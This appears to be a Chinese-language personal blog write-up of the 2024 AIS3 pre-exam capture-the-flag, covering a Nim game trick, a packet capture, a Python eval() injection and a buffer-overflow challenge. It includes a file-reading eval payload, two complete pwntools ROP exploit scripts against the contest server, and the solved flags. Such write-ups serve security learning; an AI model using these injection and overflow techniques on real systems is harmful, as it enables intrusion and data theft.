2024 AIS3 pre-exam

pre-exam大燒雞

Mon May 27 2024
625 words · 5 minutes

[Welcome]

flag就放在題目裡,我沒有截下來

[Quantum Nim Heist]

會發現是一個叫你拿石頭的遊戲

yih_0118@Macbook Downloads % nc chals1.ais3.org 40004
+-------------------- welcome --------------------+
| omg hi! |
| |
| welcome to microchess, the minimal online chess |
| platform. |
| i am a super powerful chess AI! |
| can you win against me and get the flag? |
+---+--------------- main menu -------------------+
| 0 | read the rules of the game |
| 1 | start a new game against me |
| 2 | load a saved game |
| 3 | leave |
+---+---------------------------------------------+

有一個技巧,當拿到兩個樁各剩一顆,然後跟他套,誒我要拿石頭但是輸入值一直是0

+---+-------------- stones info ------------------+
| 0 | o |
| 1 | o |
+---+--------------- game menu -------------------+
| 0 | make a move |
| 1 | save the current game and leave |
| 2 | resign the game |
+---+---------------------------------------------+
it's your turn to move! what do you choose? 0
which pile do you choose? 0
how many stones do you remove? 0

然後再試一下,我每次輸入001就過了

it's your turn to move! what do you choose? 0
which pile do you choose? 0
how many stones do you remove? 1
+---------------- congratulations ----------------+
| you are a true grandmaster of chess! here is |
| the flag for you: |
| AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?} |
+-------------------------------------------------+

[Three Dimensional Secret]

他會給你一個網路封包,丟到wireshark去看看 stream出來後會發現好像是G-code然後可以丟到個網站 image

網頁連結 image 就出來了

[Evil Calculator]

發現是一個神奇的計算機 image 假如我按下1+1再按下等於,我用burp suite去攔截會發現是一個json格式的東東 image 去看一下app.js裡面有什麼洞可以鑽

@app.route('/calculate', methods=['POST'])
def calculate():
data = request.json
expression = data['expression'].replace(" ","").replace("_","")
try:
result = eval(expression)
except Exception as e:
result = str(e)
return jsonify(result=str(result))

發現用eval()可以去鑽,直接出入指令去求出flag 可以使用burp suite的repeater去看回覆 image 那我們把expression改成"open('/flag', 'r').read()" 然後就出來了 image

[Mathter]

image 進去goodbye看一下 image ㄟ竟然有gets,可以overflow 發現是v1[4] 所以要打12進去 image 有兩個神奇函數,繞進去好了? image 觀察一下win1 發現-559038737會是0xDEADBEEF image 觀察一下win2 發現-889275714會是0xcafebabe

from pwn import *
r = remote("chals1.ais3.org" ,50001)
r.recvuntil(b':')
r.sendline(b'q')
r.recvlines(2)
padding = b'a' * 12
elf = ELF('./mathter')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
arg = 0xdeadbeef
win1 = elf.symbols['win1']
payload = padding
payload += p64(pop_rdi)
payload += p64(arg)
payload += p64(win1)
r.sendline(payload)
r.interactive()

image 得出上半部

from pwn import *
r = remote("chals1.ais3.org", 50001)
r.recvuntil(b':')
r.sendline(b'q')
r.recvlines(2)
padding = b'a' * 12
elf = ELF('./mathter')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
arg = 0xcafebabe
win2 = elf.symbols['win2']
payload = padding
payload += p64(pop_rdi)
payload += p64(arg)
payload += p64(win2)
r.sendline(payload)
r.interactive()

得出下半部

image 相同部分就刪掉吧

FLAG:AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}

成績爛掉但還有正取上

image image


Thanks for reading!

2024 AIS3 pre-exam

Mon May 27 2024
625 words · 5 minutes